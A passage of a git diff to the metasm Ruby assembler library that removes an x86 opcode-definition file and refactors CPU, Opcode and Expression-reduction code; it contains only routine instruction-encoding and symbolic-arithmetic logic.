-    addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA
-    addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA
-    addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA
-    addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA
-    addop 'sfence',  [0x0F, 0xAE, 0xF8]
-  end
-
-  # XXX must be done after init_sse (patches :regmmx opcodes)
-  # TODO complete the list
-  def init_sse2_only
-    init_cpu_constants
-
-    @opcode_list.each { |o| o.props[:xmmx] = true if o.args.include? :regmmx and o.args.include? :modrmmmx }
-
-    # TODO <..blabla...integer...blabla..>
-
-    # nomem
-    addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 }
-    addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop 'movnti',  [0x0F, 0xC3], :mrm
-    addop('pause',   [0x90]) { |o| o.props[:needpfx] = 0xF3 }
-    addop 'lfence',  [0x0F, 0xAE, 0xE8]
-    addop 'mfence',  [0x0F, 0xAE, 0xF0]
-  end
-
-  def init_sse3_only
-    init_cpu_constants
-
-    addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
-    addop('haddpd',   [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop('haddps',   [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
-    addop('hsubpd',   [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop('hsubps',   [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
-
-    addop 'monitor',  [0x0F, 0x01, 0xC8]
-    addop 'mwait',    [0x0F, 0x01, 0xC9]
-
-    addop('fisttp',   [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 }
-    addop('fisttp',   [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 }
-    addop('fisttp',   [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 }
-    addop('lddqu',    [0x0F, 0xF0], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmA ; o.props[:needpfx] = 0xF2 }
-    addop('movddup',  [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 }
-    addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
-    addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
-  end
-
-  def init_vmx_only
-    init_cpu_constants
-
-    addop 'vmcall',   [0x0F, 0x01, 0xC1]
-    addop 'vmlaunch', [0x0F, 0x01, 0xC2]
-    addop 'vmresume', [0x0F, 0x01, 0xC3]
-    addop 'vmxoff',   [0x0F, 0x01, 0xC4]
-    addop 'vmread',   [0x0F, 0x78], :mrm
-    addop 'vmwrite',  [0x0F, 0x79], :mrm
-    addop('vmclear',  [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 }
-    addop('vmxon',    [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 }
-    addop('vmptrld',  [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 }
-    addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 }
-    addop('invept',   [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 }
-    addop('invvpid',  [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 }
-
-    addop 'getsec',   [0x0F, 0x37]
-
-    addop('movbe',    [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] }) { |o| o.args.reverse! }
-    addop 'xgetbv', [0x0F, 0x01, 0xD0]
-    addop 'xsetbv', [0x0F, 0x01, 0xD1]
-    addop 'rdtscp', [0x0F, 0x01, 0xF9]
-    addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA
-    addop 'xsave',  [0x0F, 0xAE, 4<<3], :modrmA
-    addop 'nop', [0x0F, 0x1F], 0	# which family does this belong to ?
-  end
-
-  def init_sse42_only
-    init_cpu_constants
-
-    addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 }
-    addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 }
-    addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 }
-    addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 }
-    addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 }
-    addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 }
-    addop('popcnt',  [0x0F, 0xB8], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 }
-  end
-
-
-  #
-  # CPU family dependencies
-  #
-
-  def init_386_common
-    init_386_common_only
-  end
-
-  def init_386
-    init_386_common
-    init_386_only
-  end
-
-  def init_387
-    init_387_only
-  end
-
-  def init_486
-    init_386
-    init_387
-    init_486_only
-  end
-
-  def init_pentium
-    init_486
-    init_pentium_only
-  end
-
-  def init_3dnow
-    init_pentium
-    init_3dnow_only
-  end
-
-  def init_p6
-    init_pentium
-    init_p6_only
-  end
-
-  def init_sse
-    init_p6
-    init_sse_only
-  end
-
-  def init_sse2
-    init_sse
-    init_sse2_only
-  end
-
-  def init_sse3
-    init_sse2
-    init_sse3_only
-  end
-
-  def init_vmx
-    init_sse3
-    init_vmx_only
-  end
-  
-  def init_all
-    init_vmx
-    init_sse42_only
-    init_3dnow_only
-  end
-
-  alias init_latest init_all
-
-
-  #
-  # addop_* macros
-  #
-
-  def addop_macro1(name, num, immtype=:i)
-    addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, immtype
-    addop name, [num << 3], :mrmw, {:d => [0, 1]}
-    addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, immtype
-  end
-  def addop_macro2(name, num)
-    addop name, [0x0F, 0xBA], (4 | num), {}, :u8
-    addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! }
-  end
-  def addop_macro3(name, num)
-    addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1
-    addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl
-    addop name, [0xC0], num, {:w => [0, 0]}, :u8
-  end
-
-  def addop_macrotttn(name, bin, hint, fields = {}, *props, &blk)
-    [%w{o},     %w{no},    %w{b nae c}, %w{nb ae nc},
-     %w{z e},   %w{nz ne}, %w{be na}, %w{nbe a},
-     %w{s},     %w{ns},    %w{p pe},  %w{np po},
-     %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i|
-      b = bin.dup
-      if b[0] == 0x0F
-        b[1] |= i
-      else
-        b[0] |= i
-      end
-
-      e.each { |k| addop(name + k, b.dup, hint, fields.dup, *props, &blk) }
-    }
-  end
-
-  def addop_macrostr(name, bin, type)
-    # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true }     # TODO allow segment override
-    addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true }
-    addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true }
-    bin = bin.dup
-    bin[0] |= 1
-    addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true }
-    addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true }
-  end
-
-  def addop_macrofpu1(name, n)
-    addop(name, [0xD8, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 }
-    addop(name, [0xDC, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 }
-    addop name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]}
-  end
-  def addop_macrofpu2(name, n, n2=0)
-    addop(name, [0xDE|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 16 }
-    addop(name, [0xDA|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 }
-  end
-  def addop_macrofpu3(name, n)
-    addop_macrofpu2 name, n, 1
-    addop(name, [0xDF, 0x28|(n<<3)], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 }
-  end
-
-  def addop_macrogg(ggrng, name, bin, *args, &blk)
-    ggrng.each { |gg|
-      bindup = bin.dup
-      bindup[1] |= gg
-      sfx = %w(b w d q)[gg]
-      addop name+sfx, bindup, *args, &blk
-    }
-  end
-
-  def addop_macrommx(ggrng, name, val)
-    addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx
-    addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :u8
-  end
-
-  def addop_macrossps(name, bin, hint)
-    # don't allow fields argument, as this will be modified by addop (.dup it if needed)
-    addop name, bin, hint
-    addop(name.tr('p', 's'), bin, hint) { |o| o.props[:needpfx] = 0xF3 }
-  end
-
-  # helper function: creates a new Opcode based on the arguments, eventually
-  # yields it for further customisation, and append it to the instruction set
-  # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding)
-  def addop(name, bin, hint=nil, fields={}, *argprops)
-    op = Opcode.new name, bin
-    op.fields.replace fields
-
-    case hint
-    when nil
-
-    when :mrm, :mrmw, :mrmA
-      h = (hint == :mrmA ? :modrmA : :modrm)
-      op.fields[:reg]   = [bin.length, 3]
-      op.fields[h] = [bin.length, 0]
-      op.fields[:w]     = [bin.length - 1, 0] if hint == :mrmw
-      argprops.unshift :reg, h
-      op.bin << 0
-    when :reg
-      op.fields[:reg] = [bin.length-1, 0]
-      argprops.unshift :reg
-    when :regfp
-      op.fields[:regfp] = [bin.length-1, 0]
-      argprops.unshift :regfp, :regfp0
-    when :modrmA
-      op.fields[:modrmA] = [bin.length-1, 0]
-      argprops << :modrmA
-
-    when Integer		# mod/m, reg == opcode extension = hint
-      op.fields[:modrm] = [bin.length, 0]
-      op.bin << (hint << 3)
-      argprops.unshift :modrm
-
-    when :mrmmmx
-      op.fields[:regmmx] = [bin.length, 3]
-      op.fields[:modrm] = [bin.length, 0]
-      bin << 0
-      argprops.unshift :regmmx, :modrmmmx
-    when :mrmxmm
-      op.fields[:regxmm] = [bin.length, 3]
-      op.fields[:modrm] = [bin.length, 0]
-      bin << 0
-      argprops.unshift :regxmm, :modrmxmm
-    else
-      raise SyntaxError, "invalid hint #{hint.inspect} for #{name}"
-    end
-
-    if argprops.index(:u)
-      argprops << :unsigned_imm
-      argprops[argprops.index(:u)] = :i
-    end
-
-    (argprops & @valid_props).each { |p| op.props[p] = true }
-    argprops -= @valid_props
-
-    op.args.concat(argprops & @valid_args)
-    argprops -= @valid_args
-
-    raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty?
-
-    yield op if block_given?
-
-    argprops = (op.props.keys - @valid_props) + (op.args - @valid_args) + (op.fields.keys - @fields_mask.keys)
-    raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty?
-
-    addop_post(op)
-  end
-
-  # this recursive method is in charge of Opcode duplication (eg to hardcode some flag)
-  def addop_post(op)
-    dupe = lambda { |o|
-      dop = Opcode.new o.name.dup
-      dop.bin, dop.fields, dop.props, dop.args = o.bin.dup, o.fields.dup, o.props.dup, o.args.dup
-      dop
-    }
-    if df = op.fields.delete(:d)
-      # hardcode the bit
-      dop = dupe[op]
-      dop.args.reverse!
-      addop_post dop
-
-      op.bin[df[0]] |= 1 << df[1]
-      addop_post op
-
-      return
-    elsif wf = op.fields.delete(:w)
-      # hardcode the bit
-      dop = dupe[op]
-      dop.props[:argsz] = 8
-      addop_post dop
-
-      op.bin[wf[0]] |= 1 << wf[1]
-      addop_post op
-
-      return
-    elsif sf = op.fields.delete(:s)
-      # add explicit choice versions, with lower precedence (so that disassembling will return the general version)
-      # eg "jmp", "jmp.i8", "jmp.i"
-      # also hardcode the bit
-      op32 = op
-      addop_post op32
-
-      op8 = dupe[op]
-      op8.bin[sf[0]] |= 1 << sf[1]
-      op8.args.map! { |arg| arg == :i ? :i8 : arg }
-      addop_post op8
-
-      op32 = dupe[op32]
-      op32.name << '.i'
-      addop_post op32
-
-      op8 = dupe[op8]
-      op8.name << '.i8'
-      addop_post op8
-
-      return
-    elsif op.args.first == :regfp0
-      dop = dupe[op]
-      dop.args.delete :regfp0
-      addop_post dop
-    end
-
-    if op.props[:needpfx] and @opcode_list.find { |oo| oo.name == op.name and not oo.props[:needpfx] }
-      @opcode_list.unshift op
-    else
-      @opcode_list << op
-    end
-
-    if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret'
-      # define opsz-override version for ambiguous opcodes
-      op16 = dupe[op]
-      op16.name << '.i16'
-      op16.props[:opsz] = 16
-      @opcode_list << op16
-      op32 = dupe[op]
-      op32.name << '.i32'
-      op32.props[:opsz] = 32
-      @opcode_list << op32
-    elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or
-        op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/
-      # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax)
-      # XXX loop pfx 67 = eip+cx, 66 = ip+ecx
-      op16 = dupe[op]
-      op16.name << '.a16'
-      op16.props[:adsz] = 16
-      @opcode_list << op16
-      op32 = dupe[op]
-      op32.name << '.a32'
-      op32.props[:adsz] = 32
-      @opcode_list << op32
-    end
-  end
-end
-end
diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb
index a543f6f055..ae8541f59f 100644
--- a/lib/metasm/metasm/main.rb
+++ b/lib/metasm/metasm/main.rb
@@ -23,7 +23,7 @@ class CPU
   attr_accessor :valid_args, :valid_props, :fields_mask
   attr_accessor :endianness, :size
   attr_accessor :generate_PIC
-  
+
   def opcode_list
     @opcode_list ||= init_opcode_list
   end
@@ -32,8 +32,8 @@ class CPU
   def initialize
     @fields_mask = {}
     @fields_shift= {}
-    @valid_args  = []
-    @valid_props = [:setip, :saveip, :stopexec]
+    @valid_args  = {}
+    @valid_props = { :setip => true, :saveip => true, :stopexec => true }
     @generate_PIC = true
   end
 
@@ -81,6 +81,17 @@ class CPU
   def shortname
     self.class.name.sub(/.*::/, '').downcase
   end
+
+  # some userinterface wants to hilight a word, return a regexp
+  # useful for register aliases
+  # the regexp will be enclosed in \b and should not contain captures
+  def gui_hilight_word_regexp(word)
+    Regexp.escape(word)
+  end
+
+  # returns true if the name is invalid as a label name (eg register name)
+  def check_reserved_name(name)
+  end
 end
 
 # generic CPU, with no instructions, just size/endianness
@@ -120,6 +131,15 @@ class Opcode
   def basename
     @name.sub(/\..*/, '')
   end
+
+  def dup
+    o = Opcode.new(@name.dup, @bin)
+    o.bin    = @bin.dup if @bin.kind_of?(::Array)
+    o.args   = @args.dup
+    o.fields = @fields.dup
+    o.props  = @props.dup
+    o
+  end
 end
 
 # defines an attribute self.backtrace (array of filename/lineno)
@@ -341,7 +361,7 @@ class Expression < ExpressionType
       if not op
         raise ArgumentError, 'invalid Expression[nil]' if not l
         return l if l.kind_of? Expression
-        if l.kind_of? ::Numeric and l < 0
+        if l.kind_of?(::Numeric) and l < 0
           r = -l
           op = :'-'
         else
@@ -354,9 +374,9 @@ class Expression < ExpressionType
       end
       l = nil
     else
-    l = self[*l] if l.kind_of? ::Array
+      l = self[*l] if l.kind_of?(::Array)
     end
-    r = self[*r] if r.kind_of? ::Array
+    r = self[*r] if r.kind_of?(::Array)
     new(op, r, l)
   end
 
@@ -364,7 +384,7 @@ class Expression < ExpressionType
   # returns true if it is, false if it overflows, and nil if cannot be determined (eg unresolved variable)
   def self.in_range?(val, type)
     val = val.reduce if val.kind_of? self
-    return unless val.kind_of? ::Numeric
+    return unless val.kind_of?(::Numeric)
 
     if INT_MIN[type]
       val == val.to_i and
@@ -374,8 +394,11 @@ class Expression < ExpressionType
 
   # casts an unsigned value to a two-complement signed if the sign bit is set
   def self.make_signed(val, bitlength)
-    if val.kind_of? Integer
-      val = val - (1 << bitlength) if val >> (bitlength - 1) == 1
+    case val
+    when Integer
+      val = val - (1 << bitlength) if val > 0 and val >> (bitlength - 1) == 1
+    when Expression
+      val = Expression[val, :-, [(1<<bitlength), :*, [[val, :>>, (bitlength-1)], :==, 1]]]
     end
     val
   end
@@ -390,8 +413,10 @@ class Expression < ExpressionType
   # basic constructor
   # XXX funny args order, you should use +Expression[]+ instead
   def initialize(op, rexpr, lexpr)
-    raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of? ::Symbol
-    @op, @lexpr, @rexpr = op, lexpr, rexpr
+    raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of?(::Symbol)
+    @op = op
+    @lexpr = lexpr
+    @rexpr = rexpr
   end
 
   # recursive check of equity using #==
@@ -415,20 +440,21 @@ class Expression < ExpressionType
       return binding[self].dup
     end
 
-    l, r = @lexpr, @rexpr
+    l = @lexpr
+    r = @rexpr
     if l and binding[l]
-      raise "internal error - bound #{l.inspect}" if l.kind_of? ::Numeric
+      raise "internal error - bound #{l.inspect}" if l.kind_of?(::Numeric)
       l = binding[l]
     elsif l.kind_of? ExpressionType
       l = l.bind(binding)
     end
     if r and binding[r]
-      raise "internal error - bound #{r.inspect}" if r.kind_of? ::Numeric
+      raise "internal error - bound #{r.inspect}" if r.kind_of?(::Numeric)
       r = binding[r]
     elsif r.kind_of? ExpressionType
       r = r.bind(binding)
     end
-    Expression[l, @op, r]
+    Expression.new(@op, r, l)
   end
 
   # bind in place (replace self.lexpr/self.rexpr with the binding value)
@@ -492,10 +518,13 @@ class Expression < ExpressionType
     end
 
     v =
-    if r.kind_of?(::Numeric) and (l == nil or l.kind_of?(::Numeric))
-      # calculate numerics
-      if [:'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!='].include?(@op)
-        # bool expr
+    if r.kind_of?(::Numeric) and (not l or l.kind_of?(::Numeric))
+      case @op
+      when :+; l ? l + r : r
+      when :-; l ? l - r : -r
+      when :'!'; raise 'internal error' if l ; (r == 0) ? 1 : 0
+      when :'~'; raise 'internal error' if l ; ~r
+      when :'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!='
         raise 'internal error' if not l
         case @op
         when :'&&'; (l != 0) && (r != 0)
@@ -507,194 +536,18 @@ class Expression < ExpressionType
         when :'=='; l == r
         when :'!='; l != r
         end ? 1 : 0
-      elsif not l
-        case @op
-        when :'!'; (r == 0) ? 1 : 0
-        when :+;  r
-        when :-; -r
-        when :~; ~r
-        end
       else
-        # use ruby evaluator
         l.send(@op, r)
       end
-
-    elsif @op == :'&&'
-      if l == 0	# shortcircuit eval
-        0
-      elsif l == 1
-        Expression[r, :'!=', 0].reduce_rec
-      elsif r == 0
-        0	# XXX l could be a special ExprType with sideeffects ?
-      end
-    elsif @op == :'||'
-      if l.kind_of? ::Numeric and l != 0	# shortcircuit eval
-        1
-      elsif l == 0
-        Expression[r, :'!=', 0].reduce_rec
-      elsif r == 0
-        Expression[l, :'!=', 0].reduce_rec
-      end
-    elsif @op == :>> or @op == :<<
-      if l == 0; 0
-      elsif r == 0; l
-      elsif l.kind_of? Expression and l.op == @op
-        Expression[l.lexpr, @op, [l.rexpr, :+, r]].reduce_rec
-      # XXX (a >> 1) << 1  !=  a (lose low bit)
-      # XXX (a << 1) >> 1  !=  a (with real cpus, lose high bit)
-      # (a | b) << i
-      elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op
-        Expression[[l.lexpr, @op, r], l.op, [l.rexpr, @op, r]].reduce_rec
-      end
-    elsif @op == :'!'
-      if r.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[r.op]
-        Expression[r.lexpr, op, r.rexpr].reduce_rec
-      end
-    elsif @op == :==
-      if l == r; 1
-      elsif r == 0 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op]
-        Expression[l.lexpr, op, l.rexpr].reduce_rec
-      elsif r == 1 and l.kind_of? Expression and op = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}[l.op]
-        l
-      elsif r == 0 and l.kind_of? Expression and l.op == :+
-        if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr
-          Expression[l.lexpr, @op, l.rexpr.rexpr].reduce_rec
-        elsif l.rexpr.kind_of? ::Integer
-          Expression[l.lexpr, @op, -l.rexpr].reduce_rec
-        end
-      end
-    elsif @op == :'!='
-      if l == r; 0
-      end
-    elsif @op == :^
-      if l == :unknown or r == :unknown; :unknown
-      elsif l == 0; r
-      elsif r == 0; l
-      elsif l == r; 0
-      elsif r == 1 and l.kind_of? Expression and [:'==', :'!=', :<, :>, :<=, :>=].include? l.op
-        Expression[nil, :'!', l].reduce_rec
-      elsif l.kind_of?(::Numeric)
-        if r.kind_of? Expression and r.op == :^
-          # 1^(x^y) => x^(y^1)
-          Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec
-        else
-          # 1^a => a^1
-          Expression[r, :^, l].reduce_rec
-        end
-      elsif l.kind_of? Expression and l.op == :^
-        # (a^b)^c => a^(b^c)
-        Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec
-      elsif r.kind_of? Expression and r.op == :^
-        if r.rexpr == l
-          # a^(a^b) => b
-          r.lexpr
-        elsif r.lexpr == l
-          # a^(b^a) => b
-          r.rexpr
-        else
-          # a^(b^(c^(a^d)))  =>  b^(a^(c^(a^d)))
-          # XXX ugly..
-          tr = r
-          found = false
-          while not found and tr.kind_of?(Expression) and tr.op == :^
-            found = true if tr.lexpr == l or tr.rexpr == l
-            tr = tr.rexpr
-          end
-          if found
-            Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec
-          end
-        end
-      elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0
-        if r.kind_of?(::Integer) and r & l.rexpr == r
-          # (a&0xfff)^12 => (a^12)&0xfff
-          Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec
-        elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr
-          # (a&0xfff)^(b&0xfff) => (a^b)&0xfff
-          Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec
-        end
-      end
-    elsif @op == :&
-      if l == 0 or r == 0; 0
-      elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op)
-        l
-      elsif l == r; l
-      elsif l.kind_of?(Integer); Expression[r, @op, l].reduce_rec
-      elsif l.kind_of?(Expression) and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec
-      elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0)
-        # (a ^| b) & i => (a&i ^| b&i)
-        Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec
-      elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0
-        # foo & 0xffff
-        reduce_rec_mod2(l, r)
-      end
-    elsif @op == :|
-      if    l == 0; r
-      elsif r == 0; l
-      elsif l == -1 or r == -1; -1
-      elsif l == r; l
-      elsif l.kind_of? Integer; Expression[r, @op, l].reduce_rec
-      elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec
-      end
-    elsif @op == :*
-      if    l == 0 or r == 0; 0
-      elsif l == 1; r
-      elsif r == 1; l
-      elsif r.kind_of? Integer; Expression[r, @op, l].reduce_rec
-      elsif r.kind_of? Expression and r.op == @op; Expression[[l, @op, r.lexpr], @op, r.rexpr].reduce_rec
-      elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec	# XXX need & regsize..
-      elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec
-      end
-    elsif @op == :/
-      if r == 0
-      elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0
-        Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec
-      elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0
-        Expression[l.lexpr/r, :*, l.rexpr].reduce_rec
-      end
-    elsif @op == :-
-      if l == :unknown or r == :unknown; :unknown
-      elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+)
-        if r.op == :- # no lexpr (reduced)
-          # -(-x) => x
-          r.rexpr
-        else # :+ and lexpr (r is reduced)
-          # -(a+b) => (-a)+(-b)
-          Expression[[:-, r.lexpr], :+, [:-, r.rexpr]].reduce_rec
-        end
-      elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r
-        # shortcircuit for a common occurence [citation needed]
-        # (a+b)-a
-        l.rexpr
-      elsif l
-        # a-b => a+(-b)
-        Expression[l, :+, [:-, r]].reduce_rec
-      end
-    elsif @op == :+
-      if l == :unknown or r == :unknown; :unknown
-      elsif not l; r	# +x  => x
-      elsif r == 0; l	# x+0 => x
-      elsif l.kind_of?(::Numeric)
-        if r.kind_of? Expression and r.op == :+
-          # 1+(x+y) => x+(y+1)
-          Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec
-        else
-          # 1+a => a+1
-          Expression[r, :+, l].reduce_rec
-        end
-        # (a+b)+foo => a+(b+foo)
-      elsif l.kind_of? Expression and l.op == @op; Expression[l.lexpr, @op, [l.rexpr, @op, r]].reduce_rec
-      elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr
-        Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec
-      else
-        reduce_rec_add(l, r)
-      end
+    elsif rp = @@reduce_op[@op]
+      rp[self, l, r]
     end
 
     ret = case v
     when nil
       # no dup if no new value
       (r == :unknown or l == :unknown) ? :unknown :
-      ((r == @rexpr and l == @lexpr) ? self : Expression[l, @op, r])
+      ((r == @rexpr and l == @lexpr) ? self : Expression.new(@op, r, l))
     when Expression
       (v.lexpr == :unknown or v.rexpr == :unknown) ? :unknown : v
     else v
@@ -709,54 +562,248 @@ class Expression < ExpressionType
     ret
   end
 
+  @@reduce_op = {
+    :+    => lambda { |e, l, r| e.reduce_op_plus(l, r) },
+    :-    => lambda { |e, l, r| e.reduce_op_minus(l, r) },
+    :'&&' => lambda { |e, l, r| e.reduce_op_andand(l, r) },
+    :'||' => lambda { |e, l, r| e.reduce_op_oror(l, r) },
+    :>>   => lambda { |e, l, r| e.reduce_op_shr(l, r) },
+    :<<   => lambda { |e, l, r| e.reduce_op_shl(l, r) },
+    :'!'  => lambda { |e, l, r| e.reduce_op_not(l, r) },
+    :==   => lambda { |e, l, r| e.reduce_op_eql(l, r) },
+    :'!=' => lambda { |e, l, r| e.reduce_op_neq(l, r) },
+    :^    => lambda { |e, l, r| e.reduce_op_xor(l, r) },
+    :&    => lambda { |e, l, r| e.reduce_op_and(l, r) },
+    :|    => lambda { |e, l, r| e.reduce_op_or(l, r) },
+    :*    => lambda { |e, l, r| e.reduce_op_times(l, r) },
+    :/    => lambda { |e, l, r| e.reduce_op_div(l, r) },
+    :%    => lambda { |e, l, r| e.reduce_op_mod(l, r) },
+  }
 
-        # a+(b+(c+(-a))) => b+c+0
-        # a+((-a)+(b+c)) => 0+b+c
-  def reduce_rec_add(l, r)
-    if l.kind_of? Expression and l.op == :- and not l.lexpr
-      neg_l = l.rexpr
-    else
-      neg_l = Expression[:-, l]
-    end
 
-        # recursive search & replace -lexpr by 0
-        simplifier = lambda { |cur|
-      if neg_l == cur
-            # -l found
-            0
-      elsif cur.kind_of? Expression and cur.op == :+
-            # recurse
-              if newl = simplifier[cur.lexpr]
-                Expression[newl, cur.op, cur.rexpr].reduce_rec
-              elsif newr = simplifier[cur.rexpr]
-                Expression[cur.lexpr, cur.op, newr].reduce_rec
-              end
-            end
-        }
+  def self.reduce_op
+    @@reduce_op
+  end
 
-        simplifier[r]
-      end
-
-  # expr & 0xffff
-  def reduce_rec_mod2(e, mask)
-    case e.op
-    when :+, :^
-      if e.lexpr.kind_of?(Expression) and e.lexpr.op == :& and
-         e.lexpr.rexpr.kind_of?(::Integer) and e.lexpr.rexpr & mask == mask
-        # ((a&m) + b) & m  =>  (a+b) & m
-        Expression[[e.lexpr.lexpr, e.op, e.rexpr], :&, mask].reduce_rec
-      elsif e.rexpr.kind_of?(Expression) and e.rexpr.op == :& and
-            e.rexpr.rexpr.kind_of?(::Integer) and e.rexpr.rexpr & mask == mask
